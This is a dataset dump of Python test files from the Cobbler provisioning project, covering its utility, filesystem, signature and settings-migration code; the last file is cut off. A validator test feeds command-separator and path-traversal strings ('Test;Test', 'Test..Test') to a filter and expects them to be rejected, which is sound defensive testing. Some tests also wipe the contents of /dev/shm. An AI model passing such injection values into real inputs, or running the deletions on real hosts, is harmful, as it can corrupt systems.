id
int64
0
458k
file_name
stringlengths
4
119
file_path
stringlengths
14
227
content
stringlengths
24
9.96M
size
int64
24
9.96M
language
stringclasses
1 value
extension
stringclasses
14 values
total_lines
int64
1
219k
avg_line_length
float64
2.52
4.63M
max_line_length
int64
5
9.91M
alphanum_fraction
float64
0
1
repo_name
stringlengths
7
101
repo_stars
int64
100
139k
repo_forks
int64
0
26.4k
repo_open_issues
int64
0
2.27k
repo_license
stringclasses
12 values
repo_extraction_date
stringclasses
433 values
12,000
utils_test.py
cobbler_cobbler/tests/utils/utils_test.py
import datetime import os import re import time from pathlib import Path from threading import Thread import pytest from netaddr.ip import IPAddress from cobbler import enums, utils from cobbler.items.distro import Distro from tests.conftest import does_not_raise def test_pretty_hex(): # Arrange value = IPAddress("10.0.0.1") # Act result = utils.pretty_hex(value) # Assert assert result == "0A000001" def test_get_host_ip(): # Arrange # Act result = utils.get_host_ip("10.0.0.1") # Assert assert result == "0A000001" @pytest.mark.parametrize( "testvalue,expected_result", [("10.0.0.1", True), ("Test", False)] ) def test_is_ip(testvalue, expected_result): # type: ignore # Arrange # Act result = utils.is_ip(testvalue) # type: ignore # Assert assert expected_result == result def test_get_random_mac(cobbler_api): # type: ignore # Arrange # Act result = utils.get_random_mac(cobbler_api) # type: ignore # Assert # TODO: Check for MAC validity assert result def test_find_matching_files(): # Arrange # TODO: Get testdir und check for files directory = "/test_dir/tests" expected = [ "/test_dir/tests/settings_test.py", "/test_dir/tests/utils_test.py", "/test_dir/tests/template_api_test.py", "/test_dir/tests/templar_test.py", "/test_dir/tests/module_loader_test.py", ] # Act results = utils.find_matching_files(directory, re.compile(r".*_test.py")) results.sort() # Assert assert expected.sort() == results.sort() def test_find_highest_files(): # Arrange # TODO: Build a directory with some versioned files. search_directory = "/dev/shm/" basename = "testfile" search_regex = re.compile(r"testfile.*") expected = "/dev/shm/testfile" Path(os.path.join(search_directory, basename)).touch() # Act result = utils.find_highest_files(search_directory, basename, search_regex) # Assert assert expected == result def test_find_kernel(): # Arrange fake_env = "/dev/shm/fakekernelfolder" os.mkdir(fake_env) expected = os.path.join(fake_env, "vmlinuz") Path(expected).touch() # Act result = utils.find_kernel(fake_env) # Assert assert expected == result def test_remove_yum_olddata(): # Arrange fake_env = "/dev/shm/fakefolder" os.mkdir(fake_env) expected_to_exist = "testfolder/existing" folders = [ ".olddata", ".repodata", ".repodata/.olddata", "repodata", "repodata/.olddata", "repodata/repodata", "testfolder", ] for folder in folders: os.mkdir(os.path.join(fake_env, folder)) files = ["test", expected_to_exist] for file in files: Path(os.path.join(fake_env, file)).touch() # Act utils.remove_yum_olddata(fake_env) # Assert assert os.path.exists(os.path.join(fake_env, expected_to_exist)) assert not os.path.exists(os.path.join(fake_env, ".olddata")) def test_find_initrd(): # Arrange fake_env = "/dev/shm/fakeinitrdfolder" os.mkdir(fake_env) expected = os.path.join(fake_env, "initrd.img") Path(expected).touch() # Act result = utils.find_initrd(fake_env) # Assert assert expected == result def test_read_file_contents(): # Arrange # TODO: Do this remotely & also a failed test fake_file = "/dev/shm/fakeloremipsum" content = "Lorem Ipsum Bla" with open(fake_file, "w") as f: f.write(content) # Act result = utils.read_file_contents(fake_file) # Cleanup os.remove(fake_file) # Assert assert content == result @pytest.mark.parametrize( "remote_url,expected_result", [ ( "https://cobbler.github.io/libcobblersignatures/data/v2/distro_signatures.json", True, ), ("https://cobbler.github.io/signatures/not_existing", False), ], ) def test_remote_file_exists(remote_url, expected_result): # type: ignore # Arrange # Act result = utils.remote_file_exists(remote_url) # type: ignore # Assert assert expected_result == result @pytest.mark.parametrize( "remote_url,expected_result", [("http://bla", True), ("https://bla", True), ("ftp://bla", True), ("xyz", False)], ) def test_file_is_remote(remote_url, expected_result): # type: ignore # Arrange # Act result = utils.file_is_remote(remote_url) # type: ignore # Assert assert expected_result == result def test_blender(cobbler_api): # type: ignore # Arrange root_item = Distro(cobbler_api) # type: ignore # Act result = utils.blender(cobbler_api, False, root_item) # type: ignore # Assert assert len(result) == 169 # Must be present because the settings have it assert "server" in result # Must be present because it is a field of distro assert "os_version" in result # Must be present because it inherits but is a field of distro assert "template_files" in result @pytest.mark.parametrize( "testinput,expected_result,expected_exception", [ (None, None, does_not_raise()), ("data", None, does_not_raise()), (0, None, does_not_raise()), ({}, {}, does_not_raise()), ], ) def test_flatten(testinput, expected_result, expected_exception): # type: ignore # Arrange # TODO: Add more examples # Act with expected_exception: result = utils.flatten(testinput) # type: ignore # Assert assert expected_result == result @pytest.mark.parametrize( "testinput,expected_result", [(["A", "a", 1, 5, 1], ["A", "a", 1, 5])] ) def test_uniquify(testinput, expected_result): # type: ignore # Arrange # Act result = utils.uniquify(testinput) # type: ignore # Assert assert expected_result == result @pytest.mark.parametrize( "testdict,subkey,expected_result", [ ({}, "", {}), ( {"Test": 0, "Test2": {"SubTest": 0, "!SubTest2": 0}}, "Test2", {"Test": 0, "Test2": {"SubTest": 0}}, ), ], ) def test_dict_removals(testdict, subkey, expected_result): # type: ignore # Arrange # TODO: Generate more parameter combinations # Act utils.dict_removals(testdict, subkey) # type: ignore # Assert assert expected_result == testdict @pytest.mark.parametrize("testinput,expected_result", [({}, "")]) def test_dict_to_string(testinput, expected_result): # type: ignore # Arrange # TODO: Generate more parameter combinations # Act result = utils.dict_to_string(testinput) # type: ignore # Assert assert expected_result == result @pytest.mark.skip("This method needs mocking of subprocess_call. We do this later.") def test_rsync_files(): # Arrange # TODO: Generate test env with data to check testsrc = "" testdst = "" testargs = "" # Act result = utils.rsync_files(testsrc, testdst, testargs) # Assert assert result # TODO: Check if the files were copied correctly. assert False @pytest.mark.skip( "This method does magic. Since we havn't had the time to break it down, this test is skipped." ) def test_run_triggers(cobbler_api): # type: ignore # Arrange globber = "" # Act utils.run_triggers(cobbler_api, None, globber) # type: ignore # Assert # TODO: How the heck do we check that this actually did what it is supposed to do? assert False def test_get_family(): # Arrange distros = ("suse", "redhat", "debian") # Act result = utils.get_family() # Assert assert result in distros def test_os_release(): # Arrange # TODO: Make this nicer so it doesn't need to run on suse specific distros to succeed. # Act result = utils.os_release() # Assert assert ("suse", 15.2) or ("suse", 15.3) == result # type: ignore def test_is_selinux_enabled(): # Arrange, Act & Assert # TODO: Functionality test is something which needs SELinux knowledge assert isinstance(utils.is_selinux_enabled(), bool) @pytest.mark.parametrize( "input_cmd,expected_result", [("foobaz", False), ("echo", True)] ) def test_command_existing(input_cmd, expected_result): # type: ignore # Arrange & Act result = utils.command_existing(input_cmd) # type: ignore # Assert assert result == expected_result def test_subprocess_sp(): # Arrange # Act result_out, result_rc = utils.subprocess_sp("echo Test") # Assert # The newline makes sense in my (@SchoolGuy) eyes since we want to have multiline output also in a single string. assert result_out == "Test\n" assert result_rc == 0 @pytest.mark.parametrize( "input_command,expected_exception,expected_result", [ ("echo Test", pytest.raises(ValueError), None), ("true", does_not_raise(), 0), ], ) def test_subprocess_call(input_command, expected_exception, expected_result): # type: ignore # Arrange # Act with expected_exception: result = utils.subprocess_call(input_command) # type: ignore # Assert assert result == expected_result def test_subprocess_get(): # Arrange # Act result = utils.subprocess_get("echo Test") # Assert # The newline makes sense in my (@SchoolGuy) eyes since we want to have multiline output also in a single string. assert result == "Test\n" def test_get_supported_system_boot_loaders(): # Arrange # Act result = utils.get_supported_system_boot_loaders() # Assert assert result == ["grub", "pxe", "ipxe"] def test_get_shared_secret(): # Arrange # TODO: Test the case where the file is there. # Act result = utils.get_shared_secret() # Assert assert result == -1 def test_local_get_cobbler_api_url(): # Arrange # Act result = utils.local_get_cobbler_api_url() # Assert assert result in [ "http://192.168.1.1:80/cobbler_api", "http://127.0.0.1:80/cobbler_api", ] def test_local_get_cobbler_xmlrpc_url(): # Arrange # Act result = utils.local_get_cobbler_xmlrpc_url() # Assert assert result == "http://127.0.0.1:25151" @pytest.mark.parametrize( "input_data,expected_output", [(None, "~"), ([], []), ({}, {}), (0, 0), ("Test", "Test")], ) def test_strip_none(input_data, expected_output): # type: ignore # Arrange # Act result = utils.strip_none(input_data) # type: ignore # Assert assert expected_output == result @pytest.mark.parametrize( "input_data,expected_output", [ ("~", None), ("Test~", "Test~"), ("Te~st", "Te~st"), (["~", "Test"], [None, "Test"]), ({}, {}), ], ) def test_revert_strip_none(input_data, expected_output): # type: ignore # Arrange # Act result = utils.revert_strip_none(input_data) # type: ignore # Assert assert expected_output == result def test_lod_to_dod(): # Arrange list_of_dicts = [{"a": 2}, {"a": 3}] expected_result = {2: {"a": 2}, 3: {"a": 3}} # Act result = utils.lod_to_dod(list_of_dicts, "a") # Assert assert expected_result == result def test_lod_sort_by_key(): # Arrange list_of_dicts = [{"a": 3}, {"a": 5}, {"a": 2}] expected_result = [{"a": 2}, {"a": 3}, {"a": 5}] # Act result = utils.lod_sort_by_key(list_of_dicts, "a") # Assert assert expected_result == result def test_dhcpv4conf_location(): # TODO: Parameterize and check for wrong argument # Arrange # Act result = utils.dhcpconf_location(enums.DHCP.V4) # Assert assert result == "/etc/dhcpd.conf" def test_dhcpv6conf_location(): # TODO: Parameterize and check for wrong argument # Arrange # Act result = utils.dhcpconf_location(enums.DHCP.V6) # Assert assert result == "/etc/dhcpd6.conf" def test_namedconf_location(): # Arrange # Act result = utils.namedconf_location() # Assert assert result == "/etc/named.conf" def test_dhcp_service_name(): # Arrange # Act result = utils.dhcp_service_name() # Assert assert result == "dhcpd" def test_named_service_name(): # Arrange # Act result = utils.named_service_name() # Assert assert result == "named" @pytest.mark.parametrize( "test_input_v1,test_input_v2,expected_output,error_expectation", [("0.9", "0.1", True, does_not_raise()), ("0.1", "0.9", False, does_not_raise())], ) def test_compare_version_gt( test_input_v1, test_input_v2, expected_output, error_expectation # type: ignore ): # Arrange # Act result = utils.compare_versions_gt(test_input_v1, test_input_v2) # type: ignore # Assert with error_expectation: assert expected_output == result def test_kopts_overwrite(): # Arrange distro_breed = "suse" system_name = "kopts_test_system" kopts = {"textmode": False, "text": True} # Act utils.kopts_overwrite(kopts, "servername", distro_breed, system_name) # Assert assert "textmode" in kopts assert "info" in kopts def test_filelock(): # Arrange filelock_path = "/tmp/filelock_test" thread_times = [] def thread_fun(): thread_times.append(datetime.datetime.now()) # type: ignore with utils.filelock(filelock_path): thread_times.append(datetime.datetime.now()) # type: ignore t = Thread(target=thread_fun) # Act with utils.filelock(filelock_path): t.start() time.sleep(1) t.join() # Assert assert os.path.isfile(filelock_path) # Running time for Thread must be higher than 1 second, as # the lock was locked when thread started. assert thread_times[1] - thread_times[0] >= datetime.timedelta(seconds=1) def test_merge_dicts_recursive(): # Arrange base = { # type: ignore "toplevel_1": 1, "toplevel_2": 2, "nested_dict": {"default": {"deep_key_1": []}}, } update = { "toplevel_1": "One", "nested_dict": {"default": {"deep_key_1": True, "deep_key_2": None}}, } expected = { "toplevel_1": "One", "toplevel_2": 2, "nested_dict": {"default": {"deep_key_1": True, "deep_key_2": None}}, } # Act result = utils.merge_dicts_recursive(base, update) # type: ignore # Assert assert expected == result def test_merge_dicts_recursive_extend(): # Arrange base = { "str-key": "Hello, ", } update = { "str-key": "World!", } expected = { "str-key": "Hello, World!", } # Act result = utils.merge_dicts_recursive(base, update, True) # Assert assert expected == result def test_merge_dicts_recursive_extend_deep(): # Arrange base = { "default": {"str-key": "Hello, "}, } update = { "default": {"str-key": "World!"}, } expected = { "default": {"str-key": "Hello, World!"}, } # Act result = utils.merge_dicts_recursive(base, update, True) # Assert assert expected == result def test_create_files_if_not_existing(tmp_path: Path): # Arrange file1 = str(tmp_path / "a") file2 = str(tmp_path / "b" / "c") files = [file1, file2] # Act utils.create_files_if_not_existing(files) # Assert assert os.path.exists(file1) assert os.path.exists(file2)
15,571
Python
.py
499
25.921844
117
0.636199
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,001
filesystem_helpers_test.py
cobbler_cobbler/tests/utils/filesystem_helpers_test.py
import os import pathlib import shutil from pathlib import Path from typing import Any import pytest from pytest_mock import MockerFixture from cobbler.api import CobblerAPI from cobbler.cexceptions import CX from cobbler.utils import filesystem_helpers from tests.conftest import does_not_raise @pytest.mark.parametrize( "test_src,is_symlink,test_dst,expected_result", [ # ("", "", False), --> This has a task in utils.py ("/tmp/not-safe-file", True, "/tmp/dst", False), ("/tmp/safe-file", False, "/tmp/dst", True), ], ) def test_is_safe_to_hardlink( cobbler_api: CobblerAPI, test_src: str, is_symlink: bool, test_dst: str, expected_result: bool, ): # Arrange if is_symlink and test_src: os.symlink("/foobar/test", test_src) elif test_src: open(test_src, "w").close() # Act result = filesystem_helpers.is_safe_to_hardlink(test_src, test_dst, cobbler_api) # Cleanup os.remove(test_src) # Assert assert expected_result == result @pytest.mark.skip("This calls a lot of os-specific stuff. Let's fix this test later.") def test_hashfile(): # Arrange # TODO: Create testfile testfilepath = "/dev/shm/bigtestfile" expected_hash = "" # Act result = filesystem_helpers.hashfile(testfilepath) # Assert assert expected_hash == result @pytest.mark.skip("This calls a lot of os-specific stuff. Let's fix this test later.") def test_cachefile(): # Arrange cache_src = "" cache_dst = "" # Act filesystem_helpers.cachefile(cache_src, cache_dst) # Assert # TODO: Check .link_cache folder exists and the link cache file in it # TODO: Assert file exists in the cache destination assert False @pytest.mark.skip("This calls a lot of os-specific stuff. Let's fix this test later.") def test_linkfile(cobbler_api: CobblerAPI): # Arrange test_source = "" test_destination = "" # Act filesystem_helpers.linkfile(cobbler_api, test_source, test_destination) # Assert assert False @pytest.mark.skip("This calls a lot of os-specific stuff. Let's fix this test later.") def test_copyfile(): # Arrange test_source = "" test_destination = "" # Act filesystem_helpers.copyfile(test_source, test_destination) # Assert assert False @pytest.mark.skip("This calls a lot of os-specific stuff. Let's fix this test later.") def test_copyremotefile(): # Arrange test_source = "" test_destination = "" # Act filesystem_helpers.copyremotefile(test_source, test_destination, None) # Assert assert False @pytest.mark.skip("This calls a lot of os-specific stuff. Let's fix this test later.") def test_mkdirimage(): # Arrange test_path = pathlib.Path("/tmp") test_image_location = "" # Act filesystem_helpers.mkdirimage(test_path, test_image_location) # Assert assert False @pytest.mark.skip("This calls a lot of os-specific stuff. Let's fix this test later.") def test_copyfileimage(): # Arrange test_src = "" test_image_location = "" test_dst = "" # Act filesystem_helpers.copyfileimage(test_src, test_image_location, test_dst) # Assert assert False def test_rmfile(tmp_path: Path): # Arrange tfile = tmp_path / "testfile" # Act filesystem_helpers.rmfile(str(tfile)) # Assert assert not os.path.exists(tfile) def test_rmglob_files(tmp_path: Path): # Arrange tfile1 = tmp_path / "file1.tfile" tfile2 = tmp_path / "file2.tfile" # Act filesystem_helpers.rmglob_files(str(tmp_path), "*.tfile") # Assert assert not os.path.exists(tfile1) assert not os.path.exists(tfile2) def test_rmtree_contents(): # Arrange testfolder = "/dev/shm/" testfiles = ["test1", "blafile", "testremove"] for file in testfiles: Path(os.path.join(testfolder, file)).touch() # Act filesystem_helpers.rmtree_contents(testfolder) # Assert assert len(os.listdir(testfolder)) == 0 def test_rmtree(): # Arrange testtree = "/dev/shm/testtree" os.mkdir(testtree) # Pre assert to check the creation succeeded. assert os.path.exists(testtree) # Act filesystem_helpers.rmtree(testtree) # Assert assert not os.path.exists(testtree) def test_mkdir(): # TODO: Check how already existing folder is handled. # Arrange testfolder = "/dev/shm/testfoldercreation/testmkdir" testmode = 0o600 try: shutil.rmtree(testfolder) except OSError: pass # Pre assert to check that this actually does something assert not os.path.exists(testfolder) # Act filesystem_helpers.mkdir(testfolder, testmode) # Assert assert os.path.exists(testfolder) @pytest.mark.parametrize( "test_first_path,test_second_path,expected_result", [("/tmp/test/a", "/tmp/test/a/b/c", "/b/c"), ("/tmp/test/a", "/opt/test/a", "")], ) def test_path_tail(test_first_path: str, test_second_path: str, expected_result: str): # Arrange # TODO: Check if this actually makes sense... # Act result = filesystem_helpers.path_tail(test_first_path, test_second_path) # Assert assert expected_result == result @pytest.mark.parametrize( "test_input,expected_exception", [ ("Test", does_not_raise()), ("Test;Test", pytest.raises(CX)), ("Test..Test", pytest.raises(CX)), ], ) def test_safe_filter(test_input: str, expected_exception: Any): # Arrange, Act & Assert with expected_exception: assert filesystem_helpers.safe_filter(test_input) is None def test_create_web_dirs(mocker: MockerFixture, cobbler_api: CobblerAPI): # Arrange settings_mock = mocker.MagicMock() settings_mock.webdir = "/my/custom/webdir" mocker.patch.object(cobbler_api, "settings", return_value=settings_mock) mock_mkdir = mocker.patch("cobbler.utils.filesystem_helpers.mkdir") mock_copyfile = mocker.patch("cobbler.utils.filesystem_helpers.copyfile") # Act filesystem_helpers.create_web_dirs(cobbler_api) # Assert assert mock_mkdir.call_count == 9 assert mock_copyfile.call_count == 2 def test_create_tftpboot_dirs(mocker: MockerFixture, cobbler_api: CobblerAPI): # Arrange settings_mock = mocker.MagicMock() settings_mock.tftpboot_location = "/srv/tftpboot" mocker.patch.object(cobbler_api, "settings", return_value=settings_mock) mock_mkdir = mocker.patch("cobbler.utils.filesystem_helpers.mkdir") mock_path_symlink_to = mocker.patch("pathlib.Path.symlink_to") mocker.patch("pathlib.Path.exists", return_value=False) # Act filesystem_helpers.create_tftpboot_dirs(cobbler_api) # Assert assert mock_mkdir.call_count == 13 assert mock_path_symlink_to.call_count == 3 def test_create_trigger_dirs(mocker: MockerFixture, cobbler_api: CobblerAPI): # Arrange mock_mkdir = mocker.patch("cobbler.utils.filesystem_helpers.mkdir") mocker.patch("pathlib.Path.exists", return_value=False) # Act filesystem_helpers.create_trigger_dirs(cobbler_api) # Assert assert mock_mkdir.call_count == 57 def test_create_json_database_dirs(mocker: MockerFixture, cobbler_api: CobblerAPI): # Arrange mock_mkdir = mocker.patch("cobbler.utils.filesystem_helpers.mkdir") mocker.patch("pathlib.Path.exists", return_value=False) # Act filesystem_helpers.create_json_database_dirs(cobbler_api) # Assert mock_mkdir.assert_any_call("/var/lib/cobbler/collections") # 1 collections parent directory + (1 child directory per item type * 9 item types atm) assert mock_mkdir.call_count == 7
7,718
Python
.py
221
30.126697
91
0.697734
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,002
signatures_test.py
cobbler_cobbler/tests/utils/signatures_test.py
""" Tests that validate the functionality of the module that is responsible for managing the signatures database of Cobbler. """ from typing import Any, Dict from cobbler.utils import signatures def test_get_supported_distro_boot_loaders(): # Arrange # Act result = signatures.get_supported_distro_boot_loaders(None) # type: ignore # Assert assert result == ["grub", "pxe", "ipxe"] def test_load_signatures(): # Arrange new_signatures: Dict[str, Any] = {} signatures.signature_cache = new_signatures old_cache = signatures.signature_cache # Act signatures.load_signatures("/var/lib/cobbler/distro_signatures.json") # Assert assert old_cache != signatures.signature_cache
734
Python
.py
20
32.6
120
0.731534
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,003
settings_test.py
cobbler_cobbler/tests/settings/settings_test.py
""" Tests that validate the functionality of the module that is responsible for managing the settings. """ import os import pathlib import shutil from typing import Any, Dict, List import pytest import yaml from schema import SchemaError # type: ignore[reportMissingTypeStubs] from cobbler import settings from cobbler.settings import Settings from tests.conftest import does_not_raise def test_to_dict(): # Arrange test_settings = Settings() # Act result = test_settings.to_dict() # Assert assert result == test_settings.__dict__ def test_is_valid(): # Arrange test_settings = settings.Settings() # Act result = test_settings.is_valid() # Arrange assert result is True @pytest.mark.parametrize( "parameter,expected_exception,expected_result", [ ({}, does_not_raise(), "127.0.0.1"), (None, does_not_raise(), "127.0.0.1"), ({"invalid": True}, pytest.raises(ValueError), "127.0.0.1"), ], ) def test_from_dict(parameter: Any, expected_exception: Any, expected_result: str): # Arrange test_settings = Settings() # Act with expected_exception: test_settings.from_dict(parameter) # Assert assert test_settings.server == expected_result @pytest.mark.parametrize( "parameter,expected_exception,expected_result,ignore_keys", [ ({"include": "bla"}, pytest.raises(SchemaError), False, []), ({}, does_not_raise(), {}, []), ({"server": "192.168.0.1"}, does_not_raise(), {"server": "192.168.0.1"}, []), ( {"server": "192.168.0.1", "foobar": 1234}, pytest.raises(SchemaError), False, [], ), ( {"server": "192.168.0.1", "foobar": 1234}, does_not_raise(), {"server": "192.168.0.1", "foobar": 1234}, ["foobar"], ), ( { "server": "192.168.0.1", "foobar2": 1234, "extra_settings_list": ["foobar2"], }, does_not_raise(), { "server": "192.168.0.1", "foobar2": 1234, "extra_settings_list": ["foobar2"], }, [], ), ( {"server": "192.168.0.1", "foobar2": 1234}, pytest.raises(SchemaError), False, ["foobar"], ), ( { "server": "192.168.0.1", "foobar": 1234, "foobar2": 1234, "extra_settings_list": ["foobar2"], }, pytest.raises(SchemaError), False, [], ), ( {"server": "192.168.0.1", "foobar": 1234, "foobar2": 1234}, pytest.raises(SchemaError), False, ["foobar"], ), ( { "server": "192.168.0.1", "foobar": 1234, "foobar2": 1234, "extra_settings_list": ["foobar2"], }, does_not_raise(), { "server": "192.168.0.1", "extra_settings_list": ["foobar2"], "foobar": 1234, "foobar2": 1234, }, ["foobar"], ), ], ) def test_validate_settings( parameter: Dict[str, Any], expected_exception: Any, expected_result: Dict[str, Any], ignore_keys: List[str], ): # Arrange # Act with expected_exception: result = settings.validate_settings(parameter, ignore_keys) # Assert assert result == expected_result def test_read_settings_file_with_ignore_keys(tmpdir: pathlib.Path): # Arrange src = "/etc/cobbler/settings.yaml" settings_path = os.path.join(tmpdir, "settings.yaml") shutil.copyfile(src, settings_path) with open(settings_path) as settings_file: new_settings = yaml.safe_load(settings_file) new_settings.update({"foobar": 1234}) with open(settings_path, "w") as new_settings_file: new_settings_file.write(yaml.dump(new_settings)) # Act result = settings.read_settings_file(settings_path, ignore_keys=["foobar"]) with open(settings_path, "w") as new_settings_file: new_settings.pop("foobar") new_settings_file.write(yaml.dump(new_settings)) # Assert assert isinstance(result, dict) assert result.get("server") assert result.get("foobar") def test_read_settings_file_with_ignore_keys_failing(tmpdir: pathlib.Path): # Arrange src = "/etc/cobbler/settings.yaml" settings_path = os.path.join(tmpdir, "settings.yaml") shutil.copyfile(src, settings_path) with open(settings_path) as settings_file: new_settings = yaml.safe_load(settings_file) new_settings.update({"foobar": 1234}) with open(settings_path, "w") as new_settings_file: new_settings_file.write(yaml.dump(new_settings)) # Act result = settings.read_settings_file(settings_path) with open(settings_path, "w") as new_settings_file: new_settings.pop("foobar") new_settings_file.write(yaml.dump(new_settings)) # Assert assert not result def test_read_settings_file(): # Arrange # Default path should be fine for the tests. # Act result = settings.read_settings_file() # Assert assert isinstance(result, dict) assert result.get("server") def test_update_settings_file(tmpdir: pathlib.Path): # Arrange src = "/etc/cobbler/settings.yaml" settings_path = os.path.join(tmpdir, "settings.yaml") shutil.copyfile(src, settings_path) with open(settings_path) as settings_file: settings_read_pre = yaml.safe_load(settings_file) settings_read_pre.update({"grub2_mod_dir": "/usr/share/grub2"}) # Act result = settings.update_settings_file(settings_read_pre, filepath=settings_path) # Assert assert result with open(settings_path) as settings_file: settings_read_post = yaml.safe_load(settings_file) assert "grub2_mod_dir" in settings_read_post assert settings_read_post["grub2_mod_dir"] == "/usr/share/grub2" def test_update_settings_file_ignore_keys_failing(tmpdir: pathlib.Path): # Arrange src = "/etc/cobbler/settings.yaml" settings_path = os.path.join(tmpdir, "settings.yaml") shutil.copyfile(src, settings_path) with open(settings_path) as settings_file: settings_read_pre = yaml.safe_load(settings_file) settings_read_pre.update({"grub2_mod_dir": "/usr/share/grub2"}) settings_read_pre["foobar"] = 1234 # Act result = settings.update_settings_file(settings_read_pre, filepath=settings_path) # Assert assert not result def test_update_settings_file_ignore_keys_success(tmpdir: pathlib.Path): # Arrange src = "/etc/cobbler/settings.yaml" settings_path = os.path.join(tmpdir, "settings.yaml") shutil.copyfile(src, settings_path) with open(settings_path) as settings_file: settings_read_pre = yaml.safe_load(settings_file) settings_read_pre.update({"grub2_mod_dir": "/usr/share/grub2"}) settings_read_pre["foobar"] = 1234 # Act result = settings.update_settings_file( settings_read_pre, filepath=settings_path, ignore_keys=["foobar"] ) # Assert assert result with open(settings_path) as settings_file: settings_read_post = yaml.safe_load(settings_file) assert "grub2_mod_dir" in settings_read_post assert settings_read_post["grub2_mod_dir"] == "/usr/share/grub2" assert "foobar" in settings_read_post assert settings_read_post["foobar"] == 1234 def test_update_settings_file_extra_settings_list(tmpdir: pathlib.Path): # Arrange src = "/etc/cobbler/settings.yaml" settings_path = os.path.join(tmpdir, "settings.yaml") shutil.copyfile(src, settings_path) with open(settings_path) as settings_file: settings_read_pre = yaml.safe_load(settings_file) settings_read_pre.update({"grub2_mod_dir": "/usr/share/grub2"}) settings_read_pre["extra_settings_list"] = ["foobar"] settings_read_pre["foobar"] = 1234 # Act result = settings.update_settings_file(settings_read_pre, filepath=settings_path) # Assert assert result with open(settings_path) as settings_file: settings_read_post = yaml.safe_load(settings_file) assert "grub2_mod_dir" in settings_read_post assert settings_read_post["grub2_mod_dir"] == "/usr/share/grub2" assert "foobar" in settings_read_post assert settings_read_post["foobar"] == 1234 def test_update_settings_file_emtpy_dict(tmpdir: pathlib.Path): # Arrange settings_data: Dict[str, Any] = {} settings_path = os.path.join(tmpdir, "settings.yaml") # Act result = settings.update_settings_file(settings_data, filepath=settings_path) # Assert assert result
9,024
Python
.py
250
28.48
98
0.617431
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,004
helper_test.py
cobbler_cobbler/tests/settings/migrations/helper_test.py
""" Tests for the Cobbler settings migration helpers """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: 2021 Dominik Gedon <dgedon@suse.de> # SPDX-FileCopyrightText: 2021 Enno Gotthold <egotthold@suse.de> # SPDX-FileCopyrightText: Copyright SUSE LLC import copy from typing import Dict, Union import pytest from cobbler.settings.migrations import helper ExampleDictType = Dict[str, Dict[str, Union[int, Dict[str, int]]]] @pytest.fixture(name="example_dict") def fixture_example_dict() -> ExampleDictType: return { "a": {"r": 1, "s": 2, "t": 3}, "b": {"u": 1, "v": {"x": 1, "y": 2, "z": 3}, "w": 3}, } def test_key_add(example_dict: ExampleDictType): # Arrange new = helper.Setting("c.a", 5) # Act helper.key_add(new, example_dict) # Assert assert example_dict["c"]["a"] == 5 def test_key_delete(example_dict: ExampleDictType): # Arrange # Act helper.key_delete("b.v.y", example_dict) # Assert assert isinstance(example_dict["b"]["v"], dict) assert example_dict["b"]["v"].get("y") is None def test_key_get(example_dict: ExampleDictType): # Arrange expected_result = helper.Setting("b.u", 1) # Act result = helper.key_get("b.u", example_dict) # Assert assert expected_result == result def test_key_move(example_dict: ExampleDictType): # Arrange move = helper.Setting("b.u", 1) # Act helper.key_move(move, ["a", "a"], example_dict) # Assert assert example_dict["b"].get("u") is None assert example_dict["a"]["a"] == 1 def test_key_rename(example_dict: ExampleDictType): # Arrange rename = helper.Setting("b.u", 1) # Act helper.key_rename(rename, "a", example_dict) # Assert print(example_dict) assert example_dict["b"].get("u") is None assert example_dict["b"]["a"] == 1 def test_key_set_value(example_dict: ExampleDictType): # Arrange new = helper.Setting("b.u", 5) # Act helper.key_set_value(new, example_dict) # Assert assert example_dict["b"]["u"] == 5 def test_key_drop_if_default(example_dict: ExampleDictType): # Arrange # Act result = helper.key_drop_if_default(example_dict, example_dict) # Assert assert result == {} def test_key_drop_if_default_2(example_dict: ExampleDictType): # Arrange value_dict = copy.deepcopy(example_dict) value_dict["a"]["r"] = 5 # Act result = helper.key_drop_if_default(value_dict, example_dict) # Assert print(value_dict) assert result == {"a": {"r": 5}}
2,582
Python
.py
78
28.666667
67
0.657618
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,005
normalize_test.py
cobbler_cobbler/tests/settings/migrations/normalize_test.py
""" Tests for the Cobbler settings normalizations """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: 2021 Dominik Gedon <dgedon@suse.de> # SPDX-FileCopyrightText: 2021 Enno Gotthold <egotthold@suse.de> # SPDX-FileCopyrightText: Copyright SUSE LLC import yaml from cobbler.settings.migrations import ( V3_0_0, V3_0_1, V3_1_0, V3_1_1, V3_1_2, V3_2_0, V3_2_1, V3_3_0, V3_3_1, V3_3_2, V3_3_3, V3_3_4, V3_3_5, V3_4_0, ) def test_normalize_v3_0_0(): # Arrange with open("/code/tests/test_data/V3_0_0/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_0_0.normalize(old_settings_dict) # Assert assert len(V3_0_0.normalize(new_settings)) == 111 def test_normalize_v3_0_1(): # Arrange with open("/code/tests/test_data/V3_0_1/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_0_1.normalize(old_settings_dict) # Assert assert len(V3_0_1.normalize(new_settings)) == 111 def test_normalize_v3_1_0(): # Arrange with open("/code/tests/test_data/V3_1_0/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_1_0.normalize(old_settings_dict) # Assert assert len(V3_1_0.normalize(new_settings)) == 111 def test_normalize_v3_1_1(): # Arrange with open("/code/tests/test_data/V3_1_1/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_1_1.normalize(old_settings_dict) # Assert assert len(V3_1_1.normalize(new_settings)) == 111 def test_normalize_v3_1_2(): # Arrange with open("/code/tests/test_data/V3_1_2/settings.yaml") as old_settings: old_settings_dict = yaml.safe_load(old_settings.read()) # Act new_settings = V3_1_2.normalize(old_settings_dict) # Assert assert len(V3_1_2.normalize(new_settings)) == 111 def test_normalize_v3_2_0(): # Arrange with open("/code/tests/test_data/V3_2_0/settings.yaml") as old_settings: 